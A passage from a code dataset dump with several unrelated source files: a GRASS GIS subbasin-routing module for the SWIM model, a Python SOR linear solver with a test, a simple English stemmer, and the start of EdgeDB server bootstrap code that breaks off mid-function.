mainstreams output\n#% gisprompt: old,vector,vector\n#%end\n\n#%Option\n#% guisection: Optional\n#% key: rivercourse\n#% type: string\n#% required: no\n#% multiple: yes\n#% key_desc: subbasinID\n#% label: SubbasinID(s) to calculate river course for (to column: 'course_$id')\n#% description: Uploads cumulative mainChannelLength for all subbasins in column: course_subbasinID\n#%end\n\n#%Flag\n#% guisection: Optional\n#% key: k\n#% label: Keep intermediate files (those named *__*)\n#%end\n\n\nimport grass.script as grass\nimport numpy as np\nimport sys, os\nimport datetime as dt\ngrun = grass.run_command\ngread= grass.read_command\ngm = grass.message\n\nclass main:\n def __init__(self,**optionsandflags):\n '''Process all arguments and prepare processing'''\n # add all options and flags as attributes (only nonempty ones)\n self.options = {}\n for o in optionsandflags:\n if optionsandflags[o]!='': self.options[o] = optionsandflags[o]\n self.__dict__.update(self.options)\n #TODO: check if accumulation map is an int and has minus values within subbasin MASK\n\n # make rast from subbasin vector\n self.subbasinrast = 'subbasin__rast'\n self.nextsubb_col = 'nextID'\n self.subb_col = 'subbasinID'\n\n # make sure subbasins are in current mapset\n VectMapset=self.subbasins.split('@')\n if len(VectMapset)==2 and VectMapset[1]!=grass.gisenv()['MAPSET']:\n grass.fatal('!!! %s needs to be in the current mapset because I will update its table !!!' %(self.subbasins))\n\n # check what columns to use\n cols = grass.vector_columns(self.subbasins)\n if 'subbasinID' not in cols and 'cat' in cols:\n grun('v.db.addcolumn',map=self.subbasins,columns=self.subb_col+' int',quiet=True)\n grun('v.db.update', map=self.subbasins, column=self.subb_col, qcol='cat')\n\n # make rast\n grun('v.to.rast',input=self.subbasins,output=self.subbasinrast,\n use='attr', attrcolumn=self.subb_col,overwrite=True, quiet=True)\n # check fromto and prepare\n if 'fromto' in self.options:\n try:\n # make array\n a = np.array(self.fromto.split(','),dtype=int).reshape(-1,2)\n # add a 0 inlet column to it\n a = np.column_stack((a,np.zeros(len(a))))\n # bring into rec array\n self.fromto = np.array(zip(*a.T),dtype=[('subbasinID',int),\n ('nextID',int),('inletID',int)])\n except:\n grass.fatal('No integers or uneven number of values in fromto pairs. %s' %self.fromto)\n\n # check river course\n if 'rivercourse' in self.options:\n if type(self.rivercourse)==str:\n self.rivercourse = map(int,self.rivercourse.split(','))\n elif type(self.rivercourse)==int:\n self.rivercourse = [self.rivercourse]\n\n return\n\n def routing(self, searchradius=1.5, overwrite=True, quiet=True):\n '''Calculate the routing for the subbasins given as vector. A column will\n be add to the subbasin table called nextSubbasinID and overwrites the following:\n a vector called subbasinoutlets\n a vector called streams\n\n Search radius (in cells) determines how many cells around the outlet should\n be checked for inlet, should be greater than 1. The larger, the more likely\n are subbasins routed to the subsequent subbasin downstream.\n\n If vector=True output a vector with a nextID as a column in its table.\n If False output nextID as a raster.\n '''\n # some parameters\n kw = {'overwrite':overwrite, 'quiet':quiet}\n grun('r.mask',raster=self.subbasinrast,overwrite=True)\n\n # make outlet raster points, border subbasins with neg accumul. not correct\n grass.message('Searching outlets...')\n grun('r.statistics', base=self.subbasinrast,cover=self.accumulation, method='max',\n output='maxaccum__', **kw)\n exp = \"outlets__=if('%s' == @maxaccum__,%s,null())\" %(self.accumulation,self.subbasinrast)\n grass.mapcalc(exp, **kw)\n\n grass.message('Growing outlets...')\n # join outlets (set all to 1) and then grow outlets\n grass.mapcalc(\"outlets1__=if(isnull(outlets__),null(),1)\",overwrite=True)\n # grow to all 8 neighbours (1.5 times cell size)\n grun('r.grow', input='outlets1__', output='outlets__grown', radius=searchradius,**kw)\n grun('r.clump', input='outlets__grown', output='outlets__grown__clumped',**kw)\n\n # make inlets\n grass.message('Searching inlets...')\n grun('r.statistics', base='outlets__grown__clumped', cover=self.accumulation,\n method='max', output='maxoutlet__clumps', **kw)\n grass.mapcalc(\"inlets__=if(%s == @maxoutlet__clumps,%s,null())\" %(self.accumulation,self.subbasinrast), **kw)\n\n # transfer inlet subbasinID to clumps\n grun('r.stats.zonal', base='outlets__grown__clumped', cover='inlets__',\n method='max', output='clumps__subbasinID', **kw)\n\n # make outlets vector with nice columns\n grun('r.to.vect', input='outlets__', output=self.outlets,type='point',\n flags='v',**kw)\n grun('v.db.addcolumn', map=self.outlets, columns='subbasinID int', quiet=quiet)\n grun('v.db.update', map=self.outlets, column='subbasinID', qcol='cat', quiet=quiet)\n grun('v.db.dropcolumn',map=self.outlets, column='label',**kw)\n\n # make inlets point vector\n gm('Getting inletIDs...')\n grun('r.to.vect', input='inlets__', output=self.inlets, type='point',**kw)\n grun('v.db.renamecolumn', map=self.inlets, column='value,subbasinID',quiet=quiet)\n grun('v.db.dropcolumn', map=self.inlets, column='label',quiet=quiet)\n grun('v.db.addcolumn',map=self.inlets,columns='inletID int',**kw)\n grun('v.what.rast',map=self.inlets,raster='outlets__grown__clumped',\n column='inletID',quiet=quiet)\n\n # load inlet ID and subbasinID into outlets vector\n grun('v.db.addcolumn', map=self.outlets, columns='%s int,inletID int' %self.nextsubb_col, **kw)\n grun('v.what.rast', map=self.outlets, raster='clumps__subbasinID',\n column=self.nextsubb_col, quiet=quiet)\n grun('v.what.rast', map=self.outlets, raster='outlets__grown__clumped',\n column='inletID', quiet=quiet)\n\n # upload nextID into subbasin vector either presuming cats are subbasinIDs or the column exists\n grun('v.db.join',map=self.subbasins,column=self.subb_col,\n otable=self.outlets,ocolumn='subbasinID',scolumns=self.nextsubb_col+',inletID',\n quiet=True)\n # check outlets\n self.checkOutletAndFromto()\n\n gm('Routing successfully completed. nextID and inletID added to %s table.' %self.subbasins)\n\n return\n\n def checkOutletAndFromto(self):\n '''Check number of outlets and change to negative values in outlets and subbasins table'''\n # check basin outlets\n grass.message('''Find outlets (if other than ID 1, check if the accumulation\n map has negative, ie. off-map flow)...''')\n # get fromto columns\n try: sboutin = readSubNxtID(self.subbasins)\n except ValueError: grass.fatal('Cant convert the subbasinID, nextID or inletID columns of %s to integers' %self.subbasins)\n outlets = sboutin[sboutin['subbasinID']==sboutin['nextID']]\n outlets['nextID'] = np.negative(outlets['nextID'])\n outlets['inletID']= 0\n change = outlets.copy()\n # manual change using fromto\n if 'fromto' in self.options:\n # append to change array\n change=np.append(change,self.fromto)\n # update subbasins and outlets table\n update = lambda sbb,map,col,val: grun('v.db.update',map=map,column=col,\n where='subbasinID=%s' %sbb, value=val)\n # change for each row in change, in both vectors, both columns\n for s in change:\n for m in [self.subbasins,self.outlets]:\n for c in ['nextID','inletID']:\n update(s['subbasinID'],m,c,s[c])\n\n # check outlets again for reporting\n sboutin = readSubNxtID(self.subbasins)\n outlets = sboutin[sboutin['subbasinID']==sboutin['nextID']]\n outlets = np.append(outlets,sboutin[sboutin['nextID']<=0])\n grass.message('Subbasin(s) %s is(are) outlet(s)' %outlets['subbasinID'])\n return\n\n def buildRoutingNet(self):\n '''Connect with subbasin centroids when subbasincentroids set to subbasins\n vector (x,y will be uploaded to table)'''\n # get inlets and outlets information\n oinfo = vreport(self.outlets,index='subbasinID')\n iinfo = vreport(self.inlets,index='inletID')\n\n line = lambda fromxy,toxy: '%s,%s\\n%s,%s\\nNaN,NaN\\n' %(fromxy['x'],fromxy['y'],\n toxy['x'],toxy['y'])\n # loop over outlets\n lines=[]\n manual=[]\n for oID in oinfo:\n # inlet ID of outlet or downstream subbasin\n sbinletID=int(oinfo[oID]['inletID'])\n # for manually changed subbasins or outlets\n if sbinletID==0:\n if int(oinfo[oID]['nextID'])>0: manual+=[oinfo[oID]]\n continue\n # from outlets to inlets\n lines+=[line(oinfo[oID],iinfo[sbinletID])]\n gm('Connected %s outlets' %len(oinfo))\n\n # connect centroids with outlets and inlets with centroids if -c flag set\n # get subbasin centroids\n sbinfo = vreport(self.subbasins,index='subbasinID')\n # from centroids to outlets\n for o in oinfo:\n lines+=[line(sbinfo[o],oinfo[o])]\n # from inlets to centroids\n for i in iinfo:\n # get subbasinId of inlet\n insb = int(iinfo[i]['subbasinID'])\n lines+=[line(iinfo[i],sbinfo[insb])]\n\n # connect outlets with centroids of nextID for all manually changed subbasins\n for sb in manual:\n lines+=line(oinfo[int(sb['subbasinID'])],sbinfo[int(sb['nextID'])])\n # write to tmpfile and read as lines\n tf=grass.tempfile()\n f=file(tf,'w')\n f.writelines(lines)\n f.close()\n # make line vector\n grun('v.in.lines',input=tf,output=self.routingnet,separator=',',quiet=True)\n return\n\n\n def mkstreams(self):\n '''Create minimal stream network reaching all subbasins and with nice main streams'''\n # get max accumulation and cell count for each subbasin\n maxaccum = gread('r.stats',input='maxaccum__',flags='lcn')\n maxaccum = np.array(maxaccum.split(),dtype=int).reshape((-1,3))\n subbasinIDs = maxaccum[:,0]\n cellcounts = maxaccum[:,2]\n maxaccum = maxaccum[:,1]\n # calculate optima accumulation for nice headwater mainstreams\n optiaccum = maxaccum-np.int32(cellcounts*0.1)\n # check incoming subbasins maxaccum and take the smallest accumulation to update optiaccum\n subnext = readSubNxtID(self.outlets)\n optiaccum = dict(zip(subbasinIDs,optiaccum))\n maxaccum = dict(zip(subbasinIDs,maxaccum))\n for sn in np.unique(subnext['nextID']):\n if sn < 0: continue\n for sb in subnext[subnext['nextID']==sn]['subbasinID']:\n optiaccum[sn] = min(optiaccum[sn],maxaccum[sb]-1)\n # make raster\n tempf = grass.tempfile()\n np.savetxt(tempf,optiaccum.items(),fmt='%i=%i')\n grass.run_command('r.reclass',input='maxaccum__',output='optiaccum__',\n rules=tempf,quiet=True)\n # get accumulation and make lines\n grass.mapcalc(\"{0}__unthin=if({1} > {2},{1},null())\".format(self.mainstreams,\n self.accumulation,'optiaccum__'),overwrite=True)\n\n # make sure all pixels between outlets and inlets are included\n #grun('v.to.rast',input=self.outletinletlines,output='routingnet__rast',\n # use='val',type='line',quiet=True)\n #grass.mapcalc(\"{0}=if(isnull({0})&~isnull({1}),{2},{0})\".format(self.mainstreams,\n # 'routingnet__rast',self.accumulation),overwrite=True)\n grun('r.thin', input=self.mainstreams+'__unthin', output=self.mainstreams, overwrite=True, quiet=True) # may exclude outlet/inlet points\n\n # use predefined streams for subbasins that have them\n if 'streams' in self.options:\n grun('v.to.rast',input=self.streams,output='stream__rast',\n use='val',type='line',val=1,quiet=True)\n grun('r.thin', input='stream__rast', output='stream__rast__thin',\n overwrite=True, quiet=True)\n grun('r.stats.zonal',base=self.subbasinrast,cover='stream__rast__thin',\n method='sum',output='n__streams__subbasins',quiet=True,overwrite=True)\n # get subbasins that have at least x cells of streams\n grass.mapcalc('{0}=if(n__streams__subbasins>10,{1},{0})'.format(self.mainstreams,'stream__rast__thin'),\n overwrite=True)\n # make final vector\n grun('r.to.vect', input=self.mainstreams, output=self.mainstreams,\n type='line',quiet=True)\n return\n\n def getCourse(self,headsb):\n '''Create river course from the headwater subbasin headsb to the outlet,\n that is reached when nextID<0.\n Subbasin vector needs to have subbasinID,nextID,mainChannelLength columns\n\n Uploads cumulative river lengths for the subbasins of the river course.\n '''\n gm('Calculating course for subbasinID %s...' %headsb)\n # get subbasinIDs,nextIDs,mainChannelLength\n subbasins = grass.vector_db_select(self.subbasins,\n columns='subbasinID,nextID')['values'].values()\n nextids = {int(s[0]):int(s[1]) for s in subbasins}\n\n # make course column\n ccol = 'course_%s' %headsb\n grun('v.db.addcolumn',map=self.subbasins,columns='%s double' %ccol)\n\n # find river course\n riverlength = 0\n riversb = []\n sb = headsb\n while sb>0:\n riversb += [sb]\n riverlength += 1\n grun('v.db.update',map=self.subbasins,column=ccol, value=riverlength,\n where='subbasinID=%s' %sb)\n sb = nextids[sb]\n # report\n grass.message('''\n Uploaded cumulative river length from the %s to the outlet to the\n subbasin table in column %s (number of subbasins: %s). Check subbasin\n table and sort by %s\n To extract the subbasins use:\n v.extract map=%s where=\"%s!=''\"\n ''' %(headsb,ccol,riverlength,ccol,self.subbasins,ccol))\n return 0\n\ndef vreport(vect,index):\n '''Return the v.report table with coordinates as a dictionary with subbasinID\n as index and column names in the entries for a point vector'''\n t=gread('v.report', map=vect, option='coor').split()\n t=[tuple(l.split('|')) for l in t]\n t=np.array(t[1:],dtype=[(i,object) for i in t[0]])\n lookup = {}\n for sb in t: lookup[int(sb[index])]=sb\n return lookup\n\ndef readSubNxtID(subbasinsvect,columns=('subbasinID','nextID','inletID')):\n '''Vector needs subbasinID, nextID and inletID column'''\n tbl=grass.vector_db_select(subbasinsvect,columns=','.join(columns))['values'].values()\n # check if empty cells\n tbl=np.array(tbl,dtype=np.unicode)\n for i,c in enumerate(columns):\n empty=tbl[tbl[:,i]==u'',i]\n if len(empty)>0: grass.fatal('The table %s has %s null values in column %s' %(subbasinsvect,len(empty),c))\n # convert to numpy rec array\n t = np.array(zip(*tbl.T),dtype=zip(columns,(int,)*len(columns)))\n return t\n\ndef fig(subbasins,fname):\n '''Write the .fig file needed for SWIM, subbasin vect needs to have a\n subbasinID column and a nextID column'''\n # get subbasinID and nextID or fromto array\n fromto = readSubNxtID(subbasins)\n # sort according to next and then subbasin ID\n fromto = np.sort(fromto, order=('subbasinID',))\n ### TODO: fatal if more than one outlet\n\n # lines list to be appended\n lines = []\n\n # write subbasin section\n for sbcat in fromto:\n sb = sbcat['subbasinID']\n lines += [['subbasin',1,sb,sb,sb,'']]\n\n ### ADD and ROUTE\n # calculate stream order for each subbasin\n order = subbasinorder(fromto)\n # get order of nextID subbasin\n downstorder = fromto.copy()\n for i,sb in enumerate(fromto['nextID']):\n if sb>0:\n downstorder['nextID'][i] = order[sb]\n else:\n # outlet order\n downstorder['nextID'][i] = max(order.values())\n\n # next storage location, i.e. non subbasin\n sID = fromto['subbasinID'].max()+1\n\n # loop over subbasin orders and get addroute lines\n maxorder = downstorder['nextID'].max()\n #print 'Adding and routing flow of subbasins for each subbasin order:'\n #print 'Order Number of subbasins'\n downstorderNsb = []\n for o in range(1,maxorder+1):\n subs = fromto[downstorder['nextID']==o] # nextID is the next sb order\n # check if negative nextIDs/outlet is in there\n subs = subs[subs['nextID']>0]\n if len(subs)==0: continue # in case of the real outlet\n #print '%5i%5i' %(o,len(subs))\n downstorderNsb += [(o,len(subs))]\n # get the addrout lines\n ls, routes = addroute(sID, subs)\n lines += ls\n # replace subbasinIDs by storageIDs from routes in fromto array\n for r in routes:\n fromto['subbasinID'][fromto['subbasinID']==r['subbasinID']] = r['storageID']\n # next storageID\n sID = routes['storageID'].max() + 1\n # add finish\n lines += [['finish', 0, '','','','']]\n\n # write to file\n writefig(lines, fname)\n\n return {'order':order,'downstorder':downstorder,'downstorderNsubbasins':downstorderNsb}\n\n\ndef subbasinorder(fromto):\n '''Calculate maximum number of upstream subbasin for each subbasin and\n return as dictionary.'''\n order = {}\n # find headwater sb without inflows to start from\n noinlets = np.array([i not in fromto['nextID'] for i in fromto['subbasinID']])\n hw = fromto[noinlets]\n orderX = hw\n i = 0\n # as long as there is one routed that isnt the largest outlet\n while len(orderX)>=1 and any(orderX['nextID']>0):\n # loop over each subbasin and correct order in order dict\n #sys.stdout.write('\\rCalculating stream order %s' %i)\n for sb in orderX['subbasinID']:\n if sb in order:\n order[sb] = max([order[sb],i])\n else:\n order[sb] = i\n # get downstream subbasin info\n ins = np.unique(orderX['nextID']) # all downstream ids\n # get their info\n orderX = fromto[np.array([s in ins for s in fromto['subbasinID']])]\n # increase order\n i += 1\n #sys.stdout.write('\\n')\n # assign remaining unique inlet, i.e. outlet the next higher order and for\n # its nextID (the same negative) another index higher\n order[int(orderX['subbasinID'])]=i\n order[-int(orderX['subbasinID'])]=i+1\n\n gm('Outlet subbasin order: %s' %i)\n return order\n\ndef addroute(sID,fromto):\n '''Write the add and route commands for the subbasinID and nextID columns\n given in fromto continuing from the storage location given in sID'''\n lines = []\n routesIDs = {}\n # write add and routes\n for inlet in np.unique(fromto['nextID']):\n # get subbasin that inflow into this sb\n upsb = fromto['subbasinID'][fromto['nextID']==inlet]\n # add all subbasins together if more than one\n if len(upsb)>1:\n for i,sb in enumerate(upsb[1:]):\n if i==0: lastsID=upsb[0]\n ### ADD\n lines += [['add', 5, sID, lastsID, sb, sb]] # 5 is the swim code for add\n #print 'add', sb, 'to', lastsID, '=', sID\n lastsID = sID\n sID += 1\n else:\n lastsID = upsb[0]\n ### ROUTE\n lines += [['route', 2, sID, inlet, lastsID, inlet]] # 2 is for route\n #print 'route',lastsID, 'through', inlet, '=',sID\n # add inlet station to routed storage location\n lastsID = sID\n sID += 1\n lines += [['add', 5, sID, lastsID, inlet, inlet]]\n #print 'add inlet',inlet, 'to routed', lastsID\n # save sID for further routing/adding\n routesIDs[inlet] = sID\n # increase storage location counter for next inlet\n sID += 1\n # format routes nicely\n routes = np.array(zip(routesIDs.keys(),routesIDs.values()),\n dtype=[('subbasinID',int),('storageID',int)])\n return (lines,routes)\n\ndef writefig(lines,fname):\n '''Write the lines calculated in fig to the figfile name fname'''\n # format of columns\n fmt = '%-15s%1s'+'%6s'*4\n # write via numpy\n np.savetxt(fname,np.array(lines),fmt=fmt)\n gm('Wrote %s' %fname)\n return\n\n\nif __name__=='__main__':\n st = dt.datetime.now()\n # get options and flags\n o, f = grass.parser()\n fmt = lambda d: '\\n'.join(['%s: %s' % (k, v) for k, v in d.items()])+'\\n'\n grass.message('GIS Environment:\\n'+fmt(grass.gisenv()))\n grass.message('Parameters:\\n'+fmt(o)+fmt(f))\n\n # send all to main\n keywords = o; keywords.update(f)\n main=main(**keywords)\n\n # calculate routing\n if not main.r:\n grass.message('Will calculate routing for %s' %main.subbasins)\n main.routing()\n\n # if r set, check outlets and fromto again\n if main.r: main.checkOutletAndFromto()\n\n # calculate routing network and mainstreams if set\n if 'routingnet' in main.options:\n grass.message('Building routing vector...')\n main.buildRoutingNet()\n\n # routing network needs to be set to calculate mainstreams\n if not main.r and 'mainstreams' in main.options and 'routingnet' in main.options:\n grass.message('Creating mainstream network in %s...' %main.mainstreams)\n main.mkstreams()\n\n ### .fig file\n if 'figpath' in main.options:\n fname = os.path.join(main.figpath)\n grass.message('Will write .fig file to %s!' %fname)\n fig(main.outlets,fname)\n\n # rivercouse\n if 'rivercourse' in main.options:\n for s in main.rivercourse: main.getCourse(s)\n\n # clean\n if not main.k:\n grass.run_command('g.remove',type='raster,vector', pattern='*__*',flags='fb',quiet=True)\n\n # remove mask\n grun('r.mask',flags='r',quiet=True)\n # report time it took\n delta = dt.datetime.now()-st\n grass.message('Execution took %s hh:mm:ss' %delta)\n","sub_path":"m.swim.routing/m.swim.routing.py","file_name":"m.swim.routing.py","file_ext":"py","file_size_in_byte":25558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"548280584","text":"import numpy as np\n\ndef forward_subs(LU,b):\n ''' Forover substitusjonsalgoritme\n Input:\n LU inneholder både L og U, selv om kun L trengs i denne rutinen\n b Vektor med høyresiden i problemet som skal løses\n Output:\n u Løsningen av det lineære nedretriangulære systemet Lc=b\n '''\n n, m = LU.shape\n u = np.zeros(n)\n u[0] = b[0]/LU[0,0]\n for i in range(1,n):\n u[i] = (b[i]-LU[i,:i] @ u[:i])/LU[i,i]\n \n return u\n\ndef SOR(A, b, omega,u0,tol,maxiter):\n '''\n SOR method.\n Return the computed solution u.\n omega: Value of the relaxation parameter in SOR\n u0: The initial value for the iteration\n tol: The tolerance to be used in the stopping criterion (est < tol)\n maxiter: The maximum number of iterations\n '''\n k = 0\n est = 2*tol\n L = np.tril(A,-1)\n D = np.diag(np.diag(A))\n U = np.triu(A,1)\n dividend = omega*L+D\n #dividend_inv = np.linalg.inv(dividend) #This can be used for the solution without using forward_subs (numpy calculates inverse)\n while est > tol:\n print(\"Iteration \",k,u0)\n k += 1 \n x = (1-omega)*(D@u0)-(omega*(U@u0))+omega*b\n\n #u = dividend_inv@(((1-omega)*D@u0)-(omega*(U@u0))+omega*b)\n\n #In case using numpy to find inverse is considered \"cheating\", I solved it wiht forward_substitution instead/also\n u = forward_subs(dividend,x)\n\n est = np.linalg.norm(u-u0)\n if k >= maxiter:\n break\n u0 = u #Moves the iteration along\n return u\n\n#test that everything works as it should below: \nA = np.array([\n [5, 2, 1, 1],\n [2, 6, 2, 1],\n [1, 2, 7, 1],\n [1, 1, 2, 8]\n])\nb = np.array([29, 31, 26, 19])\n\nu = SOR(A, b, 1.2, np.zeros_like(b), 1e-10, 1000)\nprint(u)\n\n#Exact solution\nx = np.linalg.solve(A,b)\nprint(x)\n\n#Works great!\n","sub_path":"linearAlgebra/iterativeMeth/SOR.py","file_name":"SOR.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"302253836","text":"import re\r\n\r\nclass Language:\r\n def create_stem(token):\r\n return token\r\n\r\nclass English(Language):\r\n STEMMING_REGEX = r'(ed|ion|ing|s|or|ies|ly|\\'s)$'\r\n STOP_WORDS = [\r\n 'are',\r\n 'is',\r\n 'in',\r\n 'i',\r\n 'a',\r\n 'am',\r\n 'he',\r\n 'she',\r\n 'it',\r\n 'of',\r\n 'at',\r\n 'so',\r\n 'to',\r\n 'the',\r\n 'me',\r\n 'my',\r\n 'for',\r\n 'and',\r\n 'want',\r\n 'this',\r\n 'have',\r\n 'self',\r\n 'then',\r\n 'what',\r\n 'much',\r\n 'many',\r\n 'down'\r\n ]\r\n\r\n def create_stem(self, token):\r\n return re.sub(self.STEMMING_REGEX, '', token.lower())\r\n\r\n","sub_path":"pyhunt/languages.py","file_name":"languages.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"441359125","text":"#\n# This source file is part of the EdgeDB open source project.\n#\n# Copyright 2016-present MagicStack Inc. and the EdgeDB authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\nfrom __future__ import annotations\nfrom typing import *\n\nimport json\nimport logging\nimport os\nimport pathlib\nimport pickle\nimport re\n\nimport immutables\nimport psutil\n\nfrom edb import errors\n\nfrom edb import edgeql\n\nfrom edb.common import context as parser_context\nfrom edb.common import debug\nfrom edb.common import devmode\nfrom edb.common import exceptions\nfrom edb.common import uuidgen\n\nfrom edb.schema import database as s_db\nfrom edb.schema import ddl as s_ddl\nfrom edb.schema import delta as sd\nfrom edb.schema import modules as s_mod\nfrom edb.schema import objects as s_obj\nfrom edb.schema import reflection as s_refl\nfrom edb.schema import schema as s_schema\nfrom edb.schema import std as s_std\n\nfrom edb.server import buildmeta\nfrom edb.server import config\nfrom edb.server import compiler as edbcompiler\nfrom edb.server import defines as edbdef\nfrom edb.server import tokenizer # type: ignore\n\nfrom edb.pgsql import common as pg_common\nfrom edb.pgsql import dbops\nfrom edb.pgsql import delta as delta_cmds\nfrom edb.pgsql import metaschema\n\nfrom edgedb import scram\n\nif TYPE_CHECKING:\n import uuid\n\n from . import pgcluster\n from asyncpg import connection as asyncpg_con\n\n\nCACHE_SRC_DIRS = s_std.CACHE_SRC_DIRS + (\n (pathlib.Path(metaschema.__file__).parent, '.py'),\n)\n\n\nlogger = logging.getLogger('edb.server')\n\n\nasync def _execute(conn, query):\n return await metaschema._execute_sql_script(conn, query)\n\n\nasync def _execute_block(conn, block: dbops.SQLBlock) -> None:\n\n if not block.is_transactional():\n stmts = block.get_statements()\n else:\n stmts = [block.to_string()]\n\n for stmt in stmts:\n await _execute(conn, stmt)\n\n\nasync def _ensure_edgedb_role(\n cluster,\n conn,\n username,\n *,\n membership=(),\n is_superuser=False,\n builtin=False,\n objid=None,\n) -> None:\n membership = set(membership)\n if is_superuser:\n superuser_role = cluster.get_superuser_role()\n if superuser_role:\n # If the cluster is exposing an explicit superuser role,\n # become a member of that instead of creating a superuser\n # role directly.\n membership.add(superuser_role)\n superuser_flag = False\n else:\n superuser_flag = True\n else:\n superuser_flag = False\n\n if objid is None:\n objid = uuidgen.uuid1mc()\n\n role = dbops.Role(\n name=username,\n is_superuser=superuser_flag,\n allow_login=True,\n allow_createdb=True,\n allow_createrole=True,\n membership=membership,\n metadata=dict(\n id=str(objid),\n builtin=builtin,\n ),\n )\n\n create_role = dbops.CreateRole(\n role,\n neg_conditions=[dbops.RoleExists(username)],\n )\n\n block = dbops.PLTopBlock()\n create_role.generate(block)\n\n await _execute_block(conn, block)\n\n return objid\n\n\nasync def _get_db_info(conn, dbname):\n result = await conn.fetchrow('''\n SELECT\n r.rolname,\n datistemplate,\n datallowconn\n FROM\n pg_catalog.pg_database d\n INNER JOIN pg_catalog.pg_roles r\n ON (d.datdba = r.oid)\n WHERE\n d.datname = $1\n ''', dbname)\n\n return result\n\n\nasync def _ensure_edgedb_template_database(cluster, conn):\n result = await _get_db_info(conn, edbdef.EDGEDB_TEMPLATE_DB)\n\n if not result:\n logger.info('Creating template database...')\n block = dbops.SQLBlock()\n dbid = uuidgen.uuid1mc()\n db = dbops.Database(\n edbdef.EDGEDB_TEMPLATE_DB,\n owner=edbdef.EDGEDB_SUPERUSER,\n is_template=True,\n template='template0',\n lc_collate='C',\n lc_ctype=('C.UTF-8' if cluster.supports_c_utf8_locale()\n else 'en_US.UTF-8'),\n encoding='UTF8',\n metadata=dict(\n id=str(dbid),\n builtin=True,\n ),\n )\n dbops.CreateDatabase(db).generate(block)\n await _execute_block(conn, block)\n\n return dbid\n else:\n alter = []\n alter_owner = False\n\n if not result['datistemplate']:\n alter.append('IS_TEMPLATE = true')\n\n if result['rolname'] != edbdef.EDGEDB_SUPERUSER:\n alter_owner = True\n\n if alter or alter_owner:\n logger.info('Altering template database parameters...')\n if alter:\n await _execute(\n conn,\n 'ALTER DATABASE {} WITH {}'.format(\n edbdef.EDGEDB_TEMPLATE_DB,\n ' '.join(alter)))\n\n if alter_owner:\n await _execute(\n conn,\n 'ALTER DATABASE {} OWNER TO {}'.format(\n edbdef.EDGEDB_TEMPLATE_DB,\n edbdef.EDGEDB_SUPERUSER))\n\n return None\n\n\nasync def _ensure_edgedb_template_not_connectable(conn):\n result = await _get_db_info(conn, edbdef.EDGEDB_TEMPLATE_DB)\n if result['datallowconn']:\n await _execute(\n conn,\n f'''ALTER DATABASE {edbdef.EDGEDB_TEMPLATE_DB}\n WITH ALLOW_CONNECTIONS = false\n '''\n )\n\n\nasync def _store_static_bin_cache(cluster, key: str, data: bytes) -> None:\n\n text = f\"\"\"\\\n CREATE OR REPLACE FUNCTION edgedbinstdata.__syscache_{key} ()\n RETURNS bytea\n AS $$\n SELECT {pg_common.quote_bytea_literal(data)};\n $$ LANGUAGE SQL IMMUTABLE;\n \"\"\"\n\n dbconn = await cluster.connect(\n database=edbdef.EDGEDB_TEMPLATE_DB,\n )\n\n try:\n await _execute(dbconn, text)\n finally:\n await dbconn.close()\n\n\nasync def _store_static_json_cache(cluster, key: str, data: str) -> None:\n\n text = f\"\"\"\\\n CREATE OR REPLACE FUNCTION edgedbinstdata.__syscache_{key} ()\n RETURNS jsonb\n AS $$\n SELECT {pg_common.quote_literal(data)}::jsonb;\n $$ LANGUAGE SQL IMMUTABLE;\n \"\"\"\n\n dbconn = await cluster.connect(\n database=edbdef.EDGEDB_TEMPLATE_DB,\n )\n\n try:\n await _execute(dbconn, text)\n finally:\n await dbconn.close()\n\n\nasync def _ensure_extensions(conn):\n logger.info('Creating the necessary PostgreSQL extensions...')\n await metaschema.create_pg_extensions(conn)\n\n\nasync def _ensure_meta_schema(conn):\n logger.info('Bootstrapping meta schema...')\n await metaschema.bootstrap(conn)\n\n\ndef _process_delta(delta, schema):\n \"\"\"Adapt and process the delta command.\"\"\"\n\n if debug.flags.delta_plan:\n debug.header('Delta Plan')\n debug.dump(delta, schema=schema)\n\n delta = delta_cmds.CommandMeta.adapt(delta)\n\n context = sd.CommandContext()\n context.stdmode = True\n\n schema = delta.apply(schema, context)\n\n if debug.flags.delta_pgsql_plan:\n debug.header('PgSQL Delta Plan')\n debug.dump(delta, schema=schema)\n\n return schema, delta\n\n\ndef compile_bootstrap_script(\n compiler: edbcompiler.Compiler,\n schema: s_schema.Schema,\n eql: str,\n *,\n single_statement: bool = False,\n expected_cardinality_one: bool = False,\n output_format: edbcompiler.IoFormat = edbcompiler.IoFormat.JSON,\n) -> Tuple[s_schema.Schema, str]:\n\n ctx = edbcompiler.new_compiler_context(\n schema=schema,\n single_statement=single_statement,\n expected_cardinality_one=expected_cardinality_one,\n json_parameters=True,\n output_format=output_format,\n )\n\n return edbcompiler.compile_edgeql_script(compiler, ctx, eql)\n\n\nclass StdlibBits(NamedTuple):\n\n #: User-visible std.\n stdschema: s_schema.Schema\n #: Shadow extended schema for reflection..\n reflschema: s_schema.Schema\n #: SQL text of the procedure to initialize `std` in Postgres.\n sqltext: str\n #: A set of ids of all types in std.\n types: Set[uuid.UUID]\n #: Schema class reflection layout.\n classlayout: Dict[Type[s_obj.Object], s_refl.SchemaTypeLayout]\n #: Schema introspection query (SQL).\n introquery: str\n\n\nasync def _make_stdlib(testmode: bool, global_ids) -> StdlibBits:\n schema = s_schema.Schema()\n schema, _ = s_mod.Module.create_in_schema(schema, name='__derived__')\n\n current_block = dbops.PLTopBlock()\n\n std_texts = []\n for modname in s_schema.STD_LIB + ('stdgraphql',):\n std_texts.append(s_std.get_std_module_text(modname))\n\n if testmode:\n std_texts.append(s_std.get_std_module_text('_testmode'))\n\n ddl_text = '\\n'.join(std_texts)\n types: Set[uuid.UUID] = set()\n std_plans: List[sd.Command] = []\n\n for ddl_cmd in edgeql.parse_block(ddl_text):\n delta_command = s_ddl.delta_from_ddl(\n 